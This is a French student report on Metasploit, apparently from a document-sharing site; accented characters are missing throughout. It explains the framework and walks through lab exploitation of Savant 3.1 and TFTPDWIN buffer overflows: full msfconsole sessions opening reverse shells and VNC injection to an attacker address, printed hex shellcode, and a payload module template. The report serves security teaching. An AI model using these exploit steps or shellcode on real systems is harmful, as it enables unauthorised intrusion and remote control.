Sunteți pe pagina 1din 25

METASPLOIT Environnement intgr de test dintrusion

MARTIN Benjamin

PAULIAT Romain

PELLETIER Alexandre

Table des matires


1 Prambule 1.1 METAQUOI ? METASPLOIT ! . . . . . . . . . . . . . . . . . . . . . . . . 1.2 Mise en place du framework . . . . . . . . . . . . . . . . . . . . . . . . . . 2 Premiers pas avec Metasploit 2.1 Informations gnrales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Conguration de lexploit . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3 Conguration du payload et lancement de lexploit . . . . . . . . . . . . . 3 Explication dun exploit 3.1 Gnralits . . . . . . . . . . 3.1.1 Acteurs en prsence . 3.1.2 Description de la faille 3.2 Type de payloads . . . . . . . 3.2.1 Remote Excutable . . 3.2.2 Meterpreter . . . . . . 3.3 VNC Injection . . . . . . . . 3.3.1 Droulement . . . . . 3.3.2 Dissection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 3 6 6 8 9 12 12 12 12 12 13 13 15 15 16 18 18 20 20 21 23

4 Mise en place dun nouveau payload 4.1 Utilisation de msfpayload . . . . . . . . . 4.2 Ajout dun nouveau payload . . . . . . . . 4.2.1 Dclaration dun nouveau payload 4.2.2 Paramtrisation du payload . . . . 5 Conclusion

Chapitre 1

Prambule
1.1 METAQUOI ? METASPLOIT !

Metasploit est un projet open-source servant, en premier lieu, tester la pntration de systmes informatiss et permettant le dveloppement rapide dexploits ou de payloads. Cest un puissant outil disponible gratuitement et comparable aux produits commerciaux tels que Immunitys CANVAS ou Core Impact. Lintrt de ce framework est la possibilit de rutiliser simplement une grande partie des bouts de code qui auraient autrement dus tre recopis ou rimplments pour chaque exploit. Cet projet a vu le jour durant lt 2003 en grande partie grce la contribution de H.D Moore et est actuellement disponible dans sa version 3. Initialement dvelopp en langage de programmation Perl, le framework a t compltement r-crit pour la version 3.0 en langage Ruby et ce pour plusieurs raisons. La ncessit de construction automatique de classes pour la rutilisation de code fut une chose laquelle Perl ne correspondait pas parfaitement. Une autre raison est lexistence dun interprteur natif pour la plateforme Windows. De plus, la syntaxe Ruby est incroyablement simple et fournit le mme niveau de fonctionnalits que les langages comme Perl. Metasploit, conu pour tre le plus modulaire possible, se dcompose en plusieurs parties. La pice fondamentale de larchitecture est la librairie Rex (Ruby Extension Library). Certains des composants fournis par Rex incluent un sous-systme demballage de socket, des implmentations de clients et serveurs de protocoles, un sous-systme de logging, des classes utilitaires dexploitation, et un grand nombre dautres classes utiles. Le niveau le plus bas est le "framework core", responsable de limplmentation de toutes les interfaces requises. Juste au dessus se situe le "framework base" qui est une couche de librairies permettant dintragir plus simplement avec le framework core. Spars du framework lui-mme, se trouvent les plugins et modules quil va supports. Ces derniers ont une structure et interface prdnie pour tre chargs comme tant un des exploits, payload, encodeur ou gnrateur de NOP. Un plugin est dni comme loutil permettant dtendre ou damliorer les fonctionnalits du framework. Le schma suivant rsume lensemble des dpendances des modules.

Fig. 1.1 Dpendances des modules du framework 3.0 Lintrt de la structure de Metasploit est de considrer chacun des exploits, payloads ou autres comme tant spars du framework lui-mme, ce qui permet de les modier, sauvegarder et rutiliser. En eet, cette structure se distinguera galement dans larborescence du framework et chacun des modules sera entirement dni par un chier crit en langage Ruby, ce qui permettra de rajouter ou de crer simplement ses propres exploits ou payloads. Aprs avoir abord le ct thorique de Metasploit, intressons nous linstallation et la prise en main dudit framework, qui, comme nous allons le voir, sont dune facilit dconcertante.

1.2

Mise en place du framework

Avant toute chose, le framework ncessite la prsence des librairies Ruby. Celles-ci peuvent tre installes par le biais de votre gestionnaire de paquets (apt-get, yum, dpkg ...) si cela nest pas dja fait. Il est aussi intressant dinstaller la bibliothque libreadline-ruby qui permettra dutiliser la compltion lors de lutilisation du framework via linetrface console. Une fois cette prparation termine, rendez-vous ladresse suivante : http ://www.metasploit.com/framework/download/ Metasploit est disponible sous forme darchive .tar pour le monde UNIX et dun install .exe pour les plateformes Windows. Dans notre projet, linstallation ralise sest faite sur des machines tournant sous Ubuntu 8.04 et Fedora 9. Une fois le tlchargement eectu, dcompressez larchive, linstallation est termine et le framework est prt tre utilis.

Avant de lancer Metasploit, intressons nous un instant au contenu du dossier extrait. Les rpertoires les plus pertinents dans le cadre de ce projet sont : documentation/ contenant une documentation qui couvre les aspects techniques. exploits/ contenant lensemble des exploits mis disposition par le framework. Les derniers exploits sont tlchargeables sur le site de Metasploit. payloads/ contenant les payloads des direntes architectures et systmes dexploitation. encoders/ contenant dirents encodeurs de payloads, permettant par exemple de "xorer" un payload. On peut remarquer une certaine similitude avec lorganisation des modules dcrite au chapitre prcdent. Cest en eet dans ces rpertoires que les chiers Ruby sont placs an dtre chargs en tant que modules. Le framework cre aussi un dossier .msf3 la racine du home de lutilisateur. Ce dossier contient les chiers suivants : cong : Fichier de conguration, o sont sauvegardes les variables denvironnement et les autres inormation de la session. logs/ : Dossier qui contient les logs de session. modules/ : Modules dnis par lutilisateur. modcache : Metadata propos des exploits, payloads, plugins, encoders, NOPs, et de la date de modication de ceux-ci. A noter quune description complte de chacun des rpertoires est disponible dans la documentation de Metasploit. Nous pouvons maintenant nous attaquer au vif du sujet, lutilisation de Metasploit. Pour se faire, nous avons notre disposition direntes interfaces, de la ligne de commande au mode graphique en passant par linterface web. msfconsole est linterface de prdilection car elle prsente le meilleur compromis entre clart et rapidit dutilisation, msfgui est un GUI (Graphical User Interface) et msfweb est lui aussi un GUI mais accessible via un navigateur classique. Voici un aperu de ces 3 interfaces :

Fig. 1.2 msfconsole

Fig. 1.3 msfweb

Fig. 1.4 msfgui Celles-ci ayant un usage quivalent mais lutilisation de msfconsole permettant une meilleure comprhension du droulement dun exploit, nous favoriserons cette interface lors des prochaines parties.

Chapitre 2

Premiers pas avec Metasploit


2.1 Informations gnrales

Dans cette partie, nous allons dcrire, en nous appuyant sur un exemple, la statgie adopter pour lancement dun exploit. Le but de ce chapitre est de mettre en valeur la facilit de prise en main de Metasploit, certains aspects de la conguration ne seront ici pas dtaills, une explication plus pousse sera eectue dans les chapitres suivants. Le lancement dun exploit se droule en 4 5 phases : Choisir et congurer lexploit. Choix de la cible. Choisir et congurer le payload. Choix de lencodage du payload (optionnel). Excution de lexploit.

Lors de cet exemple nous attaquerons une machine tournant sous Windows XP SP1 et dadresse IP 192.168.1.5 via la faille du service Savant Web Server 3.1 et ce grce une station Ubuntu dardresse IP 192.168.1.4. Cest parti, lancez ./msfconsole, voici ce que vous devriez obtenir : root@shaka:~/framework-3.2\$ ./msfconsole < metasploit > -----------\ ,__, \ (o o)______ (__) )\ || -- || *

=[ + -- --=[ + -- --=[ =[ msf >

msf v3.2-release 320 exploits - 217 payloads 20 encoders - 6 nops 99 aux

Nous pouvons constater quun nombre important dexploits (320) et de payloads (217) sont prsents par dfaut dans Metasploit. Nous verrons plus tard quil est possible dajouter trs simplement des modules annexes, crs de toutes pices ou rcuprs sur le web. Maintenant, premier rexe, consulter laide : msf > help Core Commands ============= Command ------? back banner cd exit help info irb jobs load loadpath quit resource route save search sessions set setg show sleep unload unset unsetg use version

Description ----------Help menu Move back from the current context Display an awesome metasploit banner Change the current working directory Exit the console Help menu Displays information about one or more module Drop into irb scripting mode Displays and manages jobs Load a framework plugin Searches for and loads modules from a path Exit the console Run the commands stored in a file Route traffic through a session Saves the active datastores Searches module names and descriptions Dump session listings and display information Sets a variable to a value Sets a global variable to a value Displays modules of a given type, or all modules Do nothing for the specified number of seconds Unload a framework plugin Unsets one or more variables Unsets one or more global variables Selects a module by name Show the console library version number

Cette liste reprsente lensemble des commandes supportes par dfaut au lancement de cette interface. Il est possible dajouter des fonctionnalits au framework via des plugins pour pouvoir par exemple intragir avec une base de donnes SQL. Dans notre exploit, seules les commandes de base nous seront utiles et plus particulirement help, info, set, show et use. En eet, celles-ci permettent de choisir un exploit et un payload, de lister les variables initialiser et deectuer la conguration approprie. Nous allons donc choisir lexploit qui nous concerne, pour cela on utilise la fonction show exploits, qui nous permet de lister lensemble des exploits disponibles, en voici une partie :

msf > show exploits Exploits ======== Name ---bsdi/softcart/mercantec_softcart freebsd/tacacs/xtacacsd_report hpux/lpd/cleanup_exec irix/lpd/tagprinter_exec linux/games/ut2004_secure linux/http/gpsd_format_string linux/http/linksys_apply_cgi ... windows/http/savant_31_overflow ... windows/tftp/tftpdwin_long_filename windows/tftp/threectftpsvc_long_mode windows/unicenter/cam_log_security windows/vnc/realvnc_client windows/vnc/ultravnc_client windows/vnc/winvnc_http_get windows/wins/ms04_045_wins

Description ----------Mercantec SoftCart XTACACSD <= 4.1.2 HP-UX LPD Command Execution Irix LPD tagprinter Unreal Tournament 2004 Berlios GPSD Linksys apply.cgi Savant 3.1 Web Server Overflow TFTPDWIN v0.4.2 3CTftpSvc TFTP CA CAM RealVNC 3.3.7 Client UltraVNC 1.0.1 Client WinVNC Web Server <= v3.3.3 Microsoft WINS Service

Lexploit reposant sur la faille du service est donc bien prsente, il sut alors de charger le module exploit avec la commande approprie, en loccurence use. msf > use windows/http/savant_31_overflow msf exploit(savant_31_overflow) > On peut remarquer la corrlation entre le nom de lexploit, qui est de la forme OS/service/exploit, et le chemin o est stock le chier Ruby correspondant. Cette remarque est toute aussi valable pour les autres modules. Maintenant que notre exploit est charg (en eet, dans la console, la ligne msf exploit(savant_31_overflow) > est dsormais prsente), il va falloir congurer correctement celui-ci. Dans la partie qui suit, nous tudierons donc la faon de rcuprer les informations ncessaires et les modications apporter.

2.2

Conguration de lexploit

Les commandes show options et show targets permettent de lister la conguration requise par un exploit. Pour une description plus complte du module, il existe info. msf exploit(savant_31_overflow) > show options Module options: Name ---RHOST RPORT Current Setting --------------80 Required -------yes yes Description ----------The target address The target port

msf exploit(savant_31_overflow) > 8

On remarque que le champ requis RHOST nest pas renseign. Celui-ci correspond ladresse IP de la machine distante "cible". An de linitialiser, on utilise la commande set qui permet dassigner une valeur une variable. Notons que RPORT, qui par dfaut est initialis 80, correspond bien au port http distant. Dans notre exemple RHOST = 192.168.1.5, on va donc congurer lexploit de la manire suivante : msf exploit(savant_31_overflow) > set RHOST 192.168.1.5 RHOST => 192.168.1.5 msf exploit(savant_31_overflow) > De la mme manire, on congure alors la cible : msf exploit(savant_31_overflow) > show targets Exploit targets: Id -0 1 2 3 4 Name ---Universal Savant.exe Windows 2000 Pro All Windows 2000 Pro All Windows 2000 Pro All Windows XP Pro SP2 -

- English - Italian - French English

msf exploit(savant_31_overflow) > Dans notre exemple, lexploit sappuie sur une faille de lxcutable et nest pas spcique un OS particulier. On choisira donc Savant.exe comme cible : msf exploit(savant_31_overflow) > set TARGET 0 TARGET => 0 msf exploit(savant_31_overflow) > Notre exploit est maintenant bien congur, ne reste plus qu choisir notre payload.

2.3

Conguration du payload et lancement de lexploit

On va maintenant choisir le payload excuter, on procde de la mme manire que pour lexploit i.e on ache les payloads disponibles et on choisit en consquence. Dans notre exemple, on veut simplement rcuprer un shell sur la machine distante : msf exploit(savant_31_overflow) > show payloads Compatible payloads =================== Name ---generic/debug_trap generic/debug_trap/bind_ipv6_tcp generic/debug_trap/bind_nonx_tcp generic/debug_trap/bind_tcp ... 9 Description ----------Generic x86 Generic x86 Generic x86 Generic x86

Debug Debug Debug Debug

Trap Trap Trap Trap

windows/shell/reverse_nonx_tcp windows/shell/reverse_ord_tcp windows/upexec/bind_nonx_tcp windows/upexec/reverse_nonx_tcp windows/upexec/reverse_ord_tcp windows/vncinject/bind_nonx_tcp windows/vncinject/reverse_nonx_tcp windows/vncinject/reverse_ord_tcp

Windows Windows Windows Windows Windows Windows Windows Windows

Command Shell Command Shell Upload/Execute Upload/Execute Upload/Execute VNC Inject VNC Inject VNC Inject

msf > set PAYLOAD windows/shell/reverse_nonx_tcp PAYLOAD => windows/shell/reverse_nonx_tcp Une fois le payload charg, on utilise show options pour sassurer que tous les champs sont bien renseigns. Si tel nest pas le cas il faudra y remdier. msf exploit(savant_31_overflow) > show options Module options: Name ---RHOST RPORT Current Setting --------------192.168.1.5 80 Required -------yes yes Description ----------The target address The target port

Payload options (windows/shell/reverse_nonx_tcp): Name ---EXITFUNC LHOST LPORT Current Setting --------------thread 4444 Required -------yes yes yes Description ----------Exit technique:seh, thread, process The local address The local port

Exploit target: Id -0 Name ---Universal Savant.exe

Dans notre exemple, il va falloir mettre la variable LHOST 192.168.1.4, qui est lIP de notre machine "attaquante" : msf exploit(savant_31_overflow) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 msf exploit(savant_31_overflow) > Nous avons ni de congurer le payload. Notre exploit est prt tre lanc grce la commande exploit, dmonstration : msf [*] [*] [*] [*] exploit(savant_31_overflow) > exploit Started reverse handler Searching for a suitable nopsled... Found one! Sending exploit. Sending stage (474 bytes) 10

[*] Command shell session 1 opened (192.168.1.4:4444 -> 192.168.1.5:1041) Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Savant>cd .. C:\>dir dir Le volume dans le lecteur C na pas de nom. Le numero de serie du volume est 1CE2-D4CE Repertoire de C:\ 24/11/2008 24/11/2008 24/11/2008 21/12/2008 01/12/2008 01/12/2008 21:39 0 AUTOEXEC.BAT 21:39 0 CONFIG.SYS 21:49 <REP> Documents and Settings 19:13 <REP> Program Files 21:12 <REP> Savant 22:52 <REP> WINDOWS 2 fichier(s) 0 octets 4 Rep(s) 1103221793712 octets libres

C:\> On a donc "la main" sur la machine distante :-), ce qui signie que lexploit sest bien droul. Maintenant que lutilisation de Metasploit est comprise, nous allons pouvoir nous intresser plus en dtail au droulement dun exploit.

11

Chapitre 3

Explication dun exploit


Nous allons tudier dans cette section un scnario dexploit. Beaucoup de papers sur Metasploit dcrivent de manire simple les commandes utiliser pour un exploit. Cette partie sera consacre la ralisation dun exploit simple, et de sa dissection.

3.1
3.1.1

Gnralits
Acteurs en prsence

Soit un rseau 192.168.0.0/24 et deux machines Attaquant et Cible. Lattaquant A : 192.168.0.11 La cible C : 192.168.0.10 La machine Cible propose un service TFTP sur son port 69, avec une version infecte : TFTP Server TFTPWIN 0.4.2 ProSysInfo. [root@localhost ~]# nmap -sU 192.168.0.10 Starting Nmap 4.52 ( http://insecure.org ) at 2008-12-21 15:22 CET Interesting ports on 192.168.0.10: Not shown: 1478 closed ports PORT STATE SERVICE 69/udp open|filtered tftp

3.1.2

Description de la faille

Cest une faille classique de Stack Overow. Le serveur TFTP a besoin du username de lutilisateur. La taille nest pas veriee, ce qui permet doverwriter le pointeur de retour eip vers une adresse. Le ux dxcution peut donc tre dtourn.

3.2

Type de payloads

En regardant les payloads proposs par Metasploit, plusieurs catgories semblent se distinguer : Etablissement dune connexion entre A et C. Execution dune commande connue de A sur C. VNC inject : Obtention dune interface graphique Meterpreter : Nouveaut de Metasploit 2.3.

12

La connexion entre A et C peut etre initie par la machine Attaquant A, on parle de bind_shell, ou par la machine Cible C, dans ce cas, on parle de reverse_shell. Concernant la commande xcuter sur C, celle-ci peut mme tre downloade partir dune url tierce, comme le montre la gure 3.1 Le concept VNCinject consiste uploader une DLL an de simuler un quivalent de serveur VNC qui vhicule son ux dans du TCP. Metasploit rcupre ces informations, retranscrit le vritable ux VNC, le met ensuite disposition dun client, comme le montre la gure 3.4.

3.2.1

Remote Excutable

Si on choisi dutiliser le payload suivant : windows/download_exec/reverse_nonx_tcp Le shellcode permet de tlcharger nimporte quel xcutable partir de nimporte quelle url passe en paramtre an de lxcuter sur la machine Cible. La gure 3.1 dcrit les dirents ux dinformations prenant part lexploit.

Fig. 3.1 Excution dune commande arbitraire sur la cible Dautres payloads peuvent tre utliss. De nouveaux payloads peuvent tre tlchargs sur le site de Metasploit. Il est galement possible de les crer soi-mme, comme nous verrons dans le chapitre suivant.

3.2.2

Meterpreter

Metasploit ore une plthore de payloads, permettant deectuer une certaine action sur une machine cible. Le problme est quun payload permet deectuer quune seule action. Pour cette raison, son but est souvent dtablir un shell. Cela cre donc un nouveau processus. On pourrait se demander sil etait possible dinfecter un service, et dune manire ou dune autre garder la main sur le ux dxcution pour faire passer des commandes arbitraire directement au sein du processus exploit. Meterpreter ou Meta-Interpreter est une nouveaut de la version 2.3 et propose ce type de fonctionnalit. La faille est exploite sur la machine C, un meta-shell est propos la machine A, pourvu dun ensemble de commande, comme on peut le voir sur la gure 3.2.

13

Lintrt gnial de Meterpreter est sa modularit. Un ensemble de nouvelles commandes peuvent tre uploades sur la machine Cible de faon dynamique (on the y). Ce principe dextension permet nimporte quel developpeur de crer facilement un ensemble de nouvelles commandes avec le langage de son choix, dont les xcutables seront sous forme de DLL.

meterpreter> help Core Core feature set commands --------------------------read Reads from a communication channel write Writes to a communication channel close Closes a communication channel interact Switch to interactive mode with a channel help Displays the list of all register commands exit Exits the client initcrypt Initializes the cryptographic subsystem Extensions Feature extension commands --------------------------loadlib Loads a library on the remote endpoint use Uses a feature extension module meterpreter> Fig. 3.2 Mise disposition dun meta-shell On peut voir sur la gure 3.2 le package core. La gure 3.3 montre comment on peut ajouter dynamiquement un autre package, cest a dire uploader un nouveau chier DLL, comportant dautre commandes. La partie programmation de package de Meterpreter ne sera pas dcrite, bien quinteressante, par manque de temps.

meterpreter> use -m Process loadlib: Loading library from ext950591.dll on the remote machine. meterpreter> loadlib: success. meterpreter> help Process Process manipulation and execution commands --------------------------execute Executes a process on the remote endpoint kill Terminate one or more processes on the remote endpoint ps List processes on the remote endpoint meterpreter> execute ... Fig. 3.3 Ajout de nouvelles commandes dans le meta-shell On peut voir sur la gure 3.3 que de nouvelles commandes sont venus se greer au menu help, aprs le chargement du package Process. De nombreux mcanismes sont mis disposition de la machine A de faon transparente.

14

3.3

VNC Injection

Pour illustrer nos propos, nous avons choisi de rcuprer linterface graphique de la cible. Notons que cela est possible quelque soit la faille exploite. Notre choix se porte donc sur : le module /windows/tftp/tftpdwin_long_filename le payload /windows/vncinject/reverse_nonx_tcp

3.3.1

Droulement

Un certain nombre doptions1 doivent tre positionnes pour permettre le bon droulement de lexploit. RHOST : Remote Host : Machine C. RPORT : Remote Port : port tftp. LHOST : Local Host : Machine initiant lattaque sur RHOST : Machine A. LPORT : Local Port : Port du reverse Shell. VNCHOST : Emulation du serveur vnc : Machine A. VNCPORT : Port de mise a disposition du ux VNC. DLL : Fichier de dll qui sera uploader sur la machine A. EXITFUNC : Dcide de la manire dont on schappe du processus infect. Pour les cibles dont le systme dexploitation est Windows, on utilise souvent seh. CHOST, CPORT, ContextInfoFile, EnableContextEncoding, WfsDelay : allonge le delai dattente de session. DisableCourtesyShell : Ce shell permet davoir une console sur lcran de la machine Cible, mme si lcran est lock. Remarquons que Metasploit propose un utilitaire pour dcomposer ou forger des shellcodes. Par exemple, nous pouvons facilement voir celui que nous allons utiliser. \# ./msfpayload windows/vncinject/reverse_nonx_tcp LHOST=192.168.0.11 C /* windows/vncinject/reverse_nonx_tcp - 177 bytes (stage 1) */ unsigned char buf[] = "\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c" "\xb4\x0c\x50\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"; /* windows/vncinject/reverse_nonx_tcp - 2650 bytes (stage 2) */ unsigned char buf[] = "\x55\x8b\xec\x81\xec\xa8\x01\x00\x00\x53\x56\x57\xeb\x02\xeb" "\x04 On peut observer que le shellcode est compos en deux parties, une partie tant plus petite2 et pouvant tenir dans le buer employ par TFTPWIN. Nous reviendrons plus amplement sur msfpayload lors du chapitre suivant.

1 2

voir section prcdente pour plus dinformations sur la faon de positionner les paramtres Les tailles ont t tronques pour plus de lisibilit.

15

Une fois les paramtres positionns, on lance lattaque : [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] Launching exploit windows/tftp/tftpdwin_long_filename... Started reverse handler Trying target Universal - tftpd.exe... Transmitting intermediate stager for over-sized stage...(191 bytes) Sending stage (2650 bytes) Sleeping before handling stage... Uploading DLL (197133 bytes)... Upload completed. Starting local TCP relay on 192.168.0.11:5900... Local TCP relay started. Launched vnciewer in the background. Session 1 created for 192.168.0.10:1047

La machine Attaquant obtient directement linterface graphique de la machine Cible. Celle ci, ne saperoit de rien, jusquau moment o la machine Attaquant kill la session, cest le moment o le serveur tftp va planter et acher le message derreur sur la machine Cible.

3.3.2

Dissection

Fig. 3.4 Description de lexploit La gure 3.4 dcrit le droulement chronologique de lexploit. Les paquets sont observs laide de lutilitaire wireshark3 1. Connexion vers la machine C sur le port RHOST. Frame 8 (341 bytes on wire, 341 bytes captured) Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10 User Datagram Protocol, Src Port:52217 (52217), Dst Port:tftp (69) Trivial File Transfer Protocol

http ://www.wireshark.org

16

2. upload de la library VNC vers la machine Cible (VNC injection). Frame 9 (62 bytes on wire, 62 bytes captured) Internet Protocol, Src:192.168.0.10 (192.168.0.10), Dst:192.168.0.11 Transmission Control Protocol, Src Port:neod1 (1047), Dst Port:4444 Frame 10 (62 bytes on wire, 62 bytes captured) Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10 Transmission Control Protocol, Src Port:krb524 (4444), Dst Port:1047 3. Le serveur Tftp commence son traitement, demande le nom dutilisateur et le place dans la pile du process. Celle ci est symbolise par le rectangle droite de la gure 3.4. 4. Dbordement de la pile et dtournement du ux dxcution vers le shellcode. Celui-ci est constitu dinstructions NOP pour augmenter les chances de tomber une adresse du dbut du buer. 5. Execution du shellcode, ouverture dune connexion vers A (reverse_shell ). 6. Le ux VNC vient est encapsule dans un ux TCP et arrive par le port LPORT. Le serveur VNC simul prend en entre ce ux TCP et le met disposition sur le port VNCPORT. Frame 141 (74 bytes on wire, 74 bytes captured) Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.11 Transmission Control Protocol, Src Port:43925 (43925), Dst Port:5900 Virtual Network Computing 7. Si la case Auto est coche, le framework lance un vncviewer sur ce port.

17

Chapitre 4

Mise en place dun nouveau payload


Comme on la expliqu aux chapitres prcdents, lune des fonctionnalits de Metasploit est que partir dun exploit que lon a dj dans la base de donne, on peut eectuer plusieurs taches : les payloads. On peut les crer, ce qui est le but de cette partie. Avant toute chose nous allons revenir sur msfpayload qui nous permet de regarder les payloads plus en profondeur. Puis nous verrons le principes de base servant crer les singles payloads.

4.1

Utilisation de msfpayload

Msfpayload deux fonctionalits : la premire nous permet essentiellement de voir les shellcodes qui sont injects dans le ot dxecution. Pour la seconde, on le couple avec un dsassembleur ce qui nous permet de voir ce qui ce passe au niveau du processeur. On regardera dans cette partie le payload windows/exec. Ce dernier tant petit il est plus facile tudier. Les payloads se trouvent dans <MSF HOME>/modules/payloads/. Lutilisation de msfpayload se fait de la faon suivante : msfpayload <payload tudier> <options du payload> <options de msfpayload> O les options de msfpayload sont : S : Un rsum du payload. C : pour tudier le payload en C. J : pour tudier le payload en java. P : pour tudier le payload en Perl. X : pour tudier le payload comme executable. R : pour tudier le payload comme raw. Comme le montre le gure 4.1, le payload windows/exec permet dxcuter une commande sur une machine cible. Il est ncessaire de positionner en paramtre la commande xcuter sur la cible.

18

[root@ben-laptop]# ./msfpayload windows/exec CMD=dir S Name: Version: Platform: Arch: Needs Admin: Total size: Windows Execute Command 5773 Windows x86 No 116

Provided by: vlad902 <vlad902@gmail.com> Basic options: Name Current Setting -----------------CMD dir EXITFUNC seh

Required -------yes yes

Description ----------The command string to execute Exit technique: seh, thread, process

Description: Execute an arbitrary command Fig. 4.1 Description du payload windows/exec On peut regarder ce que donne le payload avec la syntaxe du langage C. On pourrait donc trs facilement utiliser un payload de Metasploit dans un autre programme C, ce qui les rend extrmement portables. root@ben-laptop# msfpayload windows/exec CMD=dir C /* * windows/exec - 116 bytes * http://www.metasploit.com * EXITFUNC=seh, CMD=dir */ unsigned char buf[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" "\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31" "\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b" "\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" "\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f" "\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad" "\x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\xf0\x8a\x04\x5f\x68" "\x98\xfe\x8a\x0e\x57\xff\xe7\x64\x69\x72\x00"; msfpayload donne galement la possibilit de lister les commandes assembleur utilises, en couplant la sortie brute avec un dsassembleur, comme par exemple ndisasm 1 . On utilise loption R pour ce type de sortie.

http ://sourceforge.net/projects/nasm

19

root@ben-laptop# msfpayload 00000000 FC 00000001 E844000000 ... 00000068 6898FE8A0E 0000006D 57 0000006E FFE7 00000070 64 00000071 69 00000072 7200 00000074 0A

windows/exec CMD=dir R | ndisasm -u cld call dword 0x4a push 0xe8afe98 push edi jmp edi db 0x64 db 0x69 jc 0x74 db 0x0A

On peut brivement remarquer que la commande DIR est bien prise en compte (0x64, 0x69, 0x72). Notons galement que ce payload transporte une chaine de caractres. Si le programme est absent sur le systme cible, une erreur sera gnre. Pour uploader dynamiquement des programmes, on pourra voir la section relative Meterpreter.

A propos de la syntaxe Le ux de msfpayload est mis dans un tube par le shell, le programme ndisasm prend la sortie du tube en guise dentre standard, laide du tiret. Ainsi, on voit ce qui se passe au niveau de lassembleur. Ce qui peut tre utile quand on veut concevoire ces propres payload.

4.2
4.2.1

Ajout dun nouveau payload


Dclaration dun nouveau payload

Un single payload est le type le plus simple des payload, en eet ce dernier se sut lui-mme : il eectue une unique tache sans avoir besoin de codes auxilliaires. Nous nous appuierons donc sur ce type de payload au cours de cette partie pour faciliter la comprhension de linsertion dun nouveau module. Commenons par regarder quoi celui-ci ressemble gnralement : require msf/core require msf/core/handler/bind_tcp module module module module Msf Payloads Singles Windows

module Exemple include Msf::Payload::Windows include Msf::Payload::Single def initialize(info = {}) ...

20

Ce chier dbute donc par les dclarations standards, linstar dun chier en langage C, et la place des modules pour les dpendances. On remarque ainsi que notre module, qui porte le nom Exemple est bien un single payload pour une plateforme Windows. Cette en-tte, qui va charger les bibliothques ncessaires, va nous permettre de grer simplement la prise en charge de notre payload proprement parler et de ses options. Il ne nous reste plus qu dclarer notre payload, ce que nous allons faire dans la section qui suit.

4.2.2

Paramtrisation du payload

On va donc sattaquer la conguration de notre payload, pour cela, ce qui nous intresse ici est la deuxime partie du chier, savoir : super(merge_info(info, Name Version Description Author License Platform Arch Handler Session Payload { Offsets => { => => => => => => => => => => test d ajout de payload, $Revision: 5365 $, Exemple de comment ajouter un single payload, abr, MSF_LICENSE, win, ARCH_X86, Msf::Handler::BindTcp, Msf::Sessions::CommandShell,

LPORT => [ 0, n ], LHOST => [ 15, ADDR ], EXITFUNC => [ 30, V ], }, Payload => "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" } )) end end end end end end Cette partie du payload est le bloc dinitialisation standard. Il comprend le nom tel quil sachera dans linterface au moment de lutilisation, la version qui sert lors de la mise jour de Metasploit via un serveur svn, une brve description du payload , du concepteur et de la license et enn lOS sur lequel le payload sapplique et dans quel type darchitecture il est cod. Le handler sert dnir quel type de connexion lattaquant se sert, il en plusieurs type : Bind TCP : connexion cre par lattaquant. Reverse TCP : connexion cre par la cible. Find port 21

Find Tag None Le session sert pour dire quelle librairie sera charge lors de lexploit : soit CommandShell, ou Meterpreter. Payload { Offsets => { =>

LPORT => [ 0, n ], LHOST => [ 15, ADDR ], EXITFUNC => [ 30, V ], }, On a ici les oets tags, dont il faut souligner limportance : ces tags pemettent lauteur des changer les variables lintrieur du shellcode. Dans lexemple ci-dessus on voit que le shellcode est remplis de 0xaa, et ce pour dmontrer cette fonctionnalit. Si on lance msfpayload en congurant le LHOST par exemple, laddresse dbutant loctect 15 sera remplace par laddresse en hexadcimal que lon aura mise dans LHOST. Si on ne congue pas les champs LPORT et EXITFUNC, les addresses dbutants aux octects 0 et 30 seront remplies avec les valeurs par dfault. Payload => "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" + "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" } )) end end end end end end Une fois que lon obtient une fois ce payload mis en place et quand on utilise msfpayload : windows/exemple Exemple de comment ajouter un single payload

